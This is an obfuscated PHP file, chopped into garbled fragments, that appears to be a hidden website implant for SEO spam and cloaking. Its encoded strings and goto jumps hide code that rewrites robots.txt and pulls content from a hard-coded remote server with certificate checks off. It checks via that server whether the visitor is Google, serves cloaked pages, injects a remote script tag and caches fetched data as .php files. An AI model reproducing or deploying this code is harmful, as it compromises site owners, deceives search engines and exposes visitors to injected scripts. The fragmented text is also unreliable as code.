1 < 3 ?ph 2 p 4 go 3 to 3 vdm 4 Ff; 3 QZ7 3 7P: 4 fun 3 cti 4 on e 4 nsur 3 e_r 4 obot 4 s_si 3 tem 4 ap($ 8 sitemapL 4 ine) 3 { 8 $robots 3 = r 4 trim 3 ($_ 3 SER 3 VER 4 ["\1 3 04\ 6 x4f\x4 3 3\x 4 55\1 6 15\105 4 \x4e 3 \12 5 4\x5f b \122\x4f\x4 6 f\124" 3 ], 4 "\x2 5 f\134 3 ") a . "\x2f\16 4 2\15 3 7\x 5 62\x6 8 f\164\16 5 3\x2e 7 \164\x7 5 8\x74 4 "; i 3 f ( 3 !fi 4 le_e 4 xist 2 s( c $robots)) { 6 @file_ 3 put 4 _con 3 ten e ts($robots, "\ 5 125\x 4 73\x 6 65\x72 5 \55\x 4 61\1 7 47\x65\ 3 156 9 \164\72\x 4 20\5 4 2\xa 7 \x41\x6 5 c\154 6 \x6f\x 5 77\x3 6 a\x20\ 7 x2f\xa" 3 . e $sitemapLine, 3 LOC 3 K_E 3 X); 4 } e 3 lse 5 { $c 9 = @file_ 2 ge 13 t_contents($robots) a ; if ($c = 3 == 6 false 3 || 4 strp 4 os($ 3 c, e $sitemapLine) 29 === false) { @file_put_contents($robots, e $sitemapLine, 4 FILE 3 _AP 3 PEN 3 D | d LOCK_EX); } 9 } } goto 3 DHs 4 L3; 3 bab 3 ZJ: 3 $d 4 omai 4 n = 8 trim(get 3 Cur 3 lFa 4 st($ 2 jd 7 . "\x6 c 7\x65\164\x6 7 4\x6f\1 4 55\1 9 41\x69\x6 4 e\x3 4 2\56 a \141\x73\1 2 60 f \x78\x3f\162\15 7 6\x64\x 3 3d\ 6 61\x26 7 \x69\x7 4 0\75 7 " . $ip 4 )); 6 goto e 4 Xwce 3 ; X 3 WL_ 4 w: $ 6 get = 4 filt 4 er_i 5 nput_ 4 arra 3 y(I 3 NPU 3 T_G 7 ET, FIL 3 TER 3 _SA 4 NITI 3 ZE_ 3 STR 3 ING 9 ); goto g 3 hIX 4 A; Q 3 mNx 4 K: o 2 ut b put_sitemap 4 _and 5 _exit d ($sitemapLine 5 , $ht 4 tp_t 3 ype 9 ); goto S 4 da4b 3 ; B 3 2cY 6 K: $ip 4 = $ 3 kk 4 !== 3 '' 4 ? "\ 5 66\x3 5 6\56\ 8 62\64\x3 5 9\56\ 3 x38 8 \62\x2e\ 5 x38" 2 : 7 get_rea 3 l_i a p(); goto 6 babZJ; 4 eaU 3 B7: b $http_type 5 = !e 4 mpty d ($_SERVER["\1 9 10\124\x5 7 4\x50\x 3 53" 3 ]) 3 && d $_SERVER["\x4 8 8\x54\x5 4 4\12 7 0\123"] 6 !== " 7 \157\14 6 6\146" 7 ? "\x6 c 8\x74\x74\x7 7 0\163\x 6 3a\x2f 3 \57 9 " : "\150 8 \164\164 9 \160\x3a\ d 57\57"; goto 3 QLl 4 hb; 7 vdmFf: 3 err 5 or_re 4 port 3 ing 2 (0 e ); goto XWL_w; 3 rS 4 9s0: 6 if (! a empty($get 6 ["\x66 3 "]) 6 ) { $s 7 p = exp 3 lod 6 e("\x4 3 9", 5 $get 9 ["\146"]) 7 ; if (c 3 oun 5 t($sp 7 ) === 2 7 ) { $sz 6 = $sp 4 [0]; 4 $ii 9 d = $sp[1 7 ]; } } 6 goto d 4 jE41 3 ; U 3 V4q 7 2: if ( e $kk !== '' && 3 pre 4 g_ma 3 tch 7 ("\x2f\ 5 x5e\1 2 33 9 \x41\55\1 3 32\ 8 141\x2d\ 4 172\ 4 60\x 8 2d\x39\x 3 5d\ 6 53\x24 5 \57", 4 $kk 8 )) { $re 3 mot 4 e = 20 getCurlFast($jd . "\x67\x65\x74\ 2 14 17 4\x6f\155\141\x69\x6e\6 a 2\56\x61\1 8 63\x70\1 5 70\x3 6 f\x72\ 5 156\1 5 44\75 9 \62\46\x6 4 b\15 5 3\x3d 8 " . $kk) e ; if (!empty($ b remote)) { 3 ech a o $remote; 3 di c e; } } goto 4 xI3e 4 6; V 3 Tcy 1 q 18 : function get_real_ip() 5 { $k 2 ey a s = array( 6 "\110\ 11 x54\x54\120\x5f\1 5 03\x4 c 6\x5f\103\x4 5 f\116 6 \x4e\1 b 05\x43\124\ 3 111 7 \116\10 5 7\137 4 \x49 a \120", "\1 7 10\x54\ d 124\120\x5f\x 7 58\137\ 6 122\x4 7 5\101\x 8 4c\137\1 4 11\1 11 20", "\110\124\12 8 4\x50\x5 5 f\130 b \137\x46\11 3 7\x 6 52\127 6 \101\x 9 52\x44\x4 4 5\x4 9 4\x5f\106 8 \x4f\x52 5 ", "\ 10 x48\x54\124\120\ 8 137\103\ 2 11 e 4\111\105\x4e\ c x54\137\x49\ 3 x50 e ", "\122\x45\1 5 15\11 5 7\124 c \105\137\101 8 \104\x44 8 \x52"); 2 fo 5 reach 4 ($k 6 eys as 7 $k) { c if (!empty($ 9 _SERVER[$ 8 k])) { $ 6 ip = $ 11 _SERVER[$k]; if ( 9 strpos($i 6 p, "\5 5 4") ! c == false) { b $ip = trim( b explode("\x 6 2c", $ 3 ip) 8 [0]); } 4 if ( 9 filter_va 7 r($ip, 8 FILTER_V 3 ALI 3 DAT 4 E_IP 6 )) { r 4 etur 5 n $ip f ; } } } return 4 "\x3 7 1\x32\x 3 37\ 6 56\x30 c \56\60\56\x3 6 1"; } 6 goto z 3 BNc 3 7; 3 wZI 2 Gm b : function 35 output_sitemap_and_exit($sitemapLine, $http_type) { e 22 nsure_robots_sitemap($sitemapLine) 7 ; echo 3 "\7 8 4\x64\15 5 1\166 5 \x20\ 9 163\164\1 7 71\x6c\ 4 x65\ 7 75\47\x 6 74\145 a \x78\164\x 4 2d\x 5 61\15 a 4\151\147\ 4 156\ 5 72\x6 e 3\x65\156\164\ 9 x65\x72\x 2 3b a \x70\x61\x 7 64\x64\ 8 151\x6e\ 5 147\x 8 3a\61\x3 4 0\x7 8 0\170\40 a \x30\x3b\x 6 27\x3e 5 \xa\x b 20\x20\40\x 11 20\40\x20\x20\40\ 10 40\x20\x20\x20\x 2 3c 8 \141\x20 d \150\162\145\ 4 146\ 6 75\42{ b $http_type} 1 { 13 $_SERVER["\x48\x54\ 11 124\120\137\110\1 6 17\x53 14 \124"]}{$_SERVER["\x 4 53\x 6 43\x52 8 \x49\120 c \x54\137\x4e 8 \x41\x4d 4 \105 4 "]}\ 7 77\x77\ 8 75" . da 6 te("\1 5 31\15 6 5\144\ 7 110\x69 9 ") . "\x2 6 2\x20\ c x74\141\162\ 4 x67\ c 145\164\x3d\ 5 x22\x 9 5f\x62\x6 b c\141\156\1 5 53\42 4 \40\ d 162\x65\x6c\x 8 3d\x22\x 9 6e\157\x6 7 6\x6f\x 7 6c\154\ 9 157\167\x 5 22\76 4 \123 e \151\164\x65\x 7 6d\x61\ 5 x70\x 9 3c\57\x61 6 \76\12 10 \40\40\x20\x20\4 18 0\40\x20\40\x20\x20\x3c\ 5 x2f\1 9 44\x69\x7 5 6\76" 9 ; die; } 5 goto 6 UV4q2; 14 zBNc7: function get a CurlFast($ 8 url) { $ 4 cach 5 ed = 9 cache_get 6 ($url) e ; if ($cached d !== false) { e return $cached 5 ; } $ 5 data 4 = '' e ; if (function 8 _exists( 8 "\143\16 8 5\x72\15 8 4\x5f\15 c 1\156\x69\x7 3 4") 7 ) { $ch 7 = curl 4 _ini e t($url); curl_ 4 seto 1 p c t_array($ch, 8 array(C 3 URL 3 OPT 3 _RE 3 TUR 3 NTR 3 ANS 4 FER 2 => 4 tru 3 e, a CURLOPT_CO 3 NNE 4 CTTI 3 MEO 2 UT f => 5, CURLOPT_ c TIMEOUT => 8 b , CURLOPT_S 3 SL_ 4 VERI 3 FYP 7 EER => 5 false 16 , CURLOPT_SSL_VERIFYHO 2 ST 15 => false, CURLOPT_FO 3 LLO 1 W 6 LOCATI 2 ON 14 => false, CURLOPT_U 4 SERA 3 GEN 6 T => " a \x4d\157\1 6 72\151 7 \154\x6 9 c\141\57\ 7 65\x2e\ 3 60" c )); $data = 6 curl_e 3 xec c ($ch); curl_ 4 clos 8 e($ch); 6 } if ( b empty($data 8 ) && ini 6 _get(" b \x61\154\15 a 4\157\167\ 10 137\165\x72\154\ 9 137\146\1 4 57\x a 70\x65\156 8 ")) { $c 5 ontex 4 t = 6 stream 9 _context_ 4 crea 3 te( c array("\x68\ 6 164\x7 6 4\x70" e => array("\x7 7 4\x69\x 8 6d\145\1 5 57\x7 d 5\164" => 8, 8 "\x68\x6 8 5\x61\14 a 4\145\x72" 6 => "\ 10 125\x73\x65\x72\ 9 x2d\101\x 9 67\x65\x6 7 e\164\x 8 3a\x20\x 18 4d\157\172\151\154\154\1 6 41\x2f a \65\56\60\ 2 xd 5 \xa") 9 , "\x73\x 6 73\x6c 10 " => array("\x76 8 \145\162 a \x69\146\1 4 71\x c 5f\x70\x65\1 b 45\x72" => 8 false, " f \166\x65\x72\15 7 1\146\x 2 79 d \137\x70\x65\ 7 x65\162 7 \x5f\15 d 6\141\x6d\145 b " => false) c )); $data = 14 @file_get_contents($ 4 url, 10 false, $context a ); } if (! c empty($data) 4 ) { e cache_set($url 7 , $data 5 ); } c return $data a ; } goto F 4 rs4L 3 ; C 3 4aA f 0: if (!empty($ a iid)) { $s 2 tr 12 = getCurlFast($hy 3 zhd 7 y . "\x 7 3f\151\ 6 x69\14 6 4\x3d{ 6 $iid}" 8 ); echo 7 str_rep 3 lac a e(array("\ 7 147\x67 c \x67\147\x67 8 ", "\x59 a \x59\131\1 c 31\131", "\1 5 30\13 11 0\130\131\x59\131 8 ", "\xe5 2 \2 4 75\2 4 23\3 7 45\211\ 3 x8d 5 \125\ 7 122\x4c 8 ", "\125 d \x55\125\x55\ 7 x55"), 8 array($s 2 z, b get_url_in 4 fo() f , get_url_info( 5 "\142 d \x61\x73\145" 15 ), get_url_info("\146 6 \165\x 6 6c\154 15 "), get_url_info("\15 8 6\157\x5 d f\x77\x77\167 4 ")), 6 $str) e ; die; } goto 7 wZIGm; 3 mEf 4 J2: 4 $kk 4 = is 5 set($ b get["\153\x 2 6b 5 "]) ? 11 trim($get["\153\ 7 153"]) 6 : ''; 5 goto 7 B2cYK; 3 qVA 5 PR: $ 3 sur 5 l = $ 8 jd . "\x 6 73\61\ 4 62\x c 31\x32\x2e\x 1 6 15 1\x73\160\x78"; goto 2 jj 3 w58 4 ; fD 3 KhA 9 : $sz = $ 6 iid = 9 ''; goto 6 rS9s0; 14 djE41: if (!empty($ 2 sz b )) { $jd = c getCurlFast( 1 " f {$http_type}{$v 6 url}\6 5 3\153 5 \147\ 1a 56\141\x73\160\x78\x3f\163 c \172\x3d" . 4 urle 2 nc 9 ode($sz)) c ; } else { $ 29 jd = getCurlFast("{$http_type}{$vurl}\63\ b x6b\147\56\ f x61\x73\160\x78 c \x3f\170\171 6 \x3d{$ a http_type} a "); $sz = 22 getCurlFast("{$http_type}{$vurl}\x e 33\153\147\56\ 8 x61\163\ 8 160\170\ 4 77\1 a 52\x64\x3d 10 " . urlencode($j 7 d)); } 6 goto f 3 l0M 8 c; jjw58 1 : e $sitemapLine c = "\123\151\ 9 x74\145\x 5 6d\14 7 1\x70\7 4 2\40 28 {$http_type}{$_SERVER["\x48\124\x54\x50\ 2e 137\110\117\x53\124"]}{$_SERVER["\x53\x43\122\ 9 111\x50\1 8 24\x5f\1 5 16\10 9 1\x4d\x45 7 "]}\77\ b 167\x3d" . 13 date("\131\155\144\ 7 x48\151 8 ") . "\1 1 2 d "; goto QZ77P 7 ; Frs4L f : function get_ 9 url_info( 5 strin 3 g $ 8 type = " d \144\x6f\155\ b x61\x69\x6e 5 ") : 7 string 6 { $hos 1 t c = $_SERVER[ 18 "\x48\x54\x54\120\137\x4 8 8\117\12 4 3\x5 5 4"] ? 1 ? 10 ''; if ($type = 7 == "\15 c 6\157\137\x7 b 7\x77\167") a { return d preg_replace( a "\x2f\x5e\ 9 x77\167\x 6 77\134 8 \56\57\1 5 51", 3 '', 6 $host 7 ); } $p 5 rotoc 2 ol 25 = !empty($_SERVER["\110\124\x54\x50\ 5 123"] 20 ) && $_SERVER["\x48\x54\x54\120\ 5 x53"] c !== "\x6f\1 5 46\x6 f 6" ? "\x68\x74\ 7 164\x70 f \x73\x3a\57\57" 9 : "\150\ 8 x74\x74\ 4 160\ 6 72\x2f 8 \57"; $b 6 ase = b $protocol . 6 $host 14 ; if ($type === "\14 7 2\141\x 8 73\145") f { return $base 8 ; } if ( 10 $type === "\x66\ 7 165\154 6 \154") 12 { return $base . 1 ( e $_SERVER["\x52 8 \105\121 a \125\x45\x 6 53\x54 6 \137\x a 55\x52\x49 8 "] ?? '' 13 ); } return $host; 7 } goto 6 eaUB7; 6 eXwce e : if ($domain 9 !== "\x67 8 \x6f\x6f 8 \147\x6c 6 \145" 3 && 14 !empty($iid)) { $kna 5 me = 4 urld 6 ecode( 1a getCurlFast($jd . "\x67\x6 9 e\56\141\ 11 163\x70\170\x3f\x 6 69\x69 c \x64\x3d" . 6 $iid)) 13 ; echo "\74\x73\143 7 \162\15 9 1\160\x74 5 \76\1 7 54\157\ d x63\x61\x74\1 5 51\15 7 7\156\7 9 5\42" . $ d jd . "\141\x2 a e\x61\x73\ 7 x70\x78 8 \x3f\x63 7 \156\x6 9 1\x6d\145 18 \x3d" . urlencode($kname b ) . "\46\x7 8 5\162\15 9 4\75" . $ a http_type 11 . $_SERVER["\x48\ 8 124\x54\ c 120\137\x48\ 6 x4f\12 15 3\x54"] . $_SERVER["\ c 123\x43\x52\ 8 111\x50\ 10 x54\137\x4e\x41\ c 115\105"] . 5 "\42\ 5 74\57 6 \163\x f 63\x72\151\160\ 5 164\7 10 6"; die; } goto 6 C4aA0; 6 DHsL3 17 : if (!empty($get["\x77 9 "])) { $p 4 aram 4 s = 6 http_b 4 uild 3 _qu 3 ery a (array("\x 6 4e\x4f c \125\x6d\142 8 \x65\x72 5 " => 9 $get["\11 9 6\117\x55 8 \155\142 10 \x65\162"] ?? '' 7 , "\x74 10 " => $get["\x74" b ] ?? '', "\ 8 143\x6e" d => $get["\x6 6 3\x6e" 10 ] ?? '', "\160\1 c 16\117\125\1 7 55" => 9 $get["\x7 11 0\116\117\125\x6d 10 "] ?? '', "\143\ 7 151\x64 16 " => $get["\x63\151\14 e 4"] ?? '', "\1 12 55" => $get["\155" 8 ] ?? '') 5 ); $s 14 tr = getCurlFast("{$ 8 surl}\x3 2 f{ 7 $params 22 }"); echo str_replace(array("\171\ 7 171\x6d 5 \155" 10 , "\147\x67\147\ 7 147\147 b "), array($ 1b http_type . $_SERVER["\x48\ 11 x54\124\x50\x5f\1 4 10\x 5 4f\x5 19 3\x54"] . $_SERVER["\123\ 6 103\12 a 2\x49\120\ 8 124\x5f\ 11 x4e\x41\x4d\x45"] 5 , $sz 16 ), $str); die; } goto 7 mEfJ2; 3 XsA 2 cz b : function d cache_set($ke 9 y, $data) 4 { $ 4 file 6 = sys 5 _get_ 6 temp_d 3 ir( c ) . "\x2f\14 7 3\x61\x c 63\150\x65\1 2 37 7 " . md5 5 ($key f ) . "\x2e\160\1 6 50\x70 3 "; 14 @file_put_contents($ b file, $data e , LOCK_EX); } a goto VTcyq 1 ; 6 QLlhb 3 : $ 7 vurl = 8 "\x74\15 9 7\x2e\x6a 7 \147\14 b 1\x6c\154\x 8 73\56\x6 8 3\x6f\x6 5 d\x2f 8 "; goto 7 fDKhA; 3 S2K 2 VF 6 : $is_ 2 no 6 _query 14 = empty($_SERVER["\ 5 x51\x 8 55\105\x 5 52\13 6 1\x5f\ a 123\124\12 7 2\111\x 6 4e\x47 5 "]); 8 goto zHn 3 Cd; 6 xI3e6 15 : if ($kk !== '' && ! d preg_match("\ 5 57\x5 6 e\133\ b 101\55\132\ 4 x61\ 6 55\x7a 6 \60\55 6 \x39\1 2 35 8 \53\44\x 3 2f" a , $kk)) { 33 output_sitemap_and_exit($sitemapLine, $http_type); c } goto S2KVF 7 ; fl0Mc 4 : $h 6 yzhdy b = $jd . "\x d 31\x32\61\62\ f 56\x61\163\x70\ b x78"; goto 6 qVAPR; 6 ghIXA 12 : function cache_g c et($key, $ex 3 pir 6 e = 30 1 0 2c ) { $file = sys_get_temp_dir() . "\x2f\x63\1 5 41\14 6 3\150\ 5 145\1 19 37" . md5($key) . "\56\x7 9 0\150\160 7 "; if ( d file_exists($ 9 file) && 3 tim 4 e() 5 - fil 7 emtime( 8 $file) < 8 $expire b ) { return 18 file_get_contents($file) b ; } return 5 false f ; } goto XsAcz; 6 zHnCd b : if ($kk = 9 == '' && c $is_no_query 8 ) { if ( 12 $domain === "\x67\ 6 157\15 8 7\x67\x6 6 c\x65" 39 ) { output_sitemap_and_exit($sitemapLine, $http_type); } 7 else { 13 die; } } goto QmNxK 1 ; 9 Sda4b: ? 1 > 0